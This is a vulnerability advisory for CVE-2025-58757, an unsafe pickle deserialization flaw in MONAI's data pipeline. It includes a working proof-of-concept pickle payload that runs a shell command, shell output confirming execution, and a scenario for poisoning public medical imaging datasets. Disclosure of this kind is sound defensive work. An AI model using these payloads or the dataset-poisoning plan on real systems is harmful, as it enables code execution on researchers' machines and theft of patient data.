CVE-2025-58757: MONAI: unsafe pickle deserialization RCE in data pipeline

>To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.) ### Summary The ```pickle_operations``` function in ```monai/data/utils.py``` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures. When verified using the following proof-of-concept, arbitrary code execution can occur. ``` #Poc from monai.data.utils import pickle_operations import pickle import subprocess class MaliciousPayload: def __reduce__(self): return (subprocess.call, (['touch', '/tmp/hacker1.txt'],)) malicious_data = pickle.dumps(MaliciousPayload()) attack_data = { 'image': 'normal_image_data', 'label_transforms': malicious_data, 'metadata_transforms': malicious_data } result = pickle_operations(attack_data, is_encode=False) ``` ``` #My /tmp directory contents before running the POC root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid ``` Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful. ``` #Running Poc root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid ``` The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content. ``` malicious_data = { 'image': normal_image_tensor, 'label': normal_label_tensor, 'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload 'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points } dataset = [malicious_data, ...] ``` When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations. ``` from monai.data import list_data_collate dataloader = DataLoader( dataset, batch_size=4, collate_fn=list_data_collate # Trigger the vulnerability ) # Automatically execute malicious code while traversing the data for batch in dataloader: # Malicious code is executed in pickle_operations pass ``` When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered. ### Impact Arbitrary code execution ### Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.

Attacker publishes a convincing medical imaging dataset (chest X-ray, MRI segmentation) to a public repository such as Zenodo, HuggingFace Datasets, or a GitHub release. The dataset JSON/HDF5 metadata embeds pickle payloads in dictionary keys suffixed with '_transforms' (e.g., 'preprocessing_transforms', 'augmentation_transforms'). A medical AI researcher clones the repo and runs a standard MONAI training script — the moment the DataLoader iterates the first batch, list_data_collate triggers pickle_operations, executing the payload. Attacker achieves persistent access to the researcher's workstation or GPU cluster, potentially exfiltrating trained models, patient data, institutional credentials, or pivoting to connected hospital systems.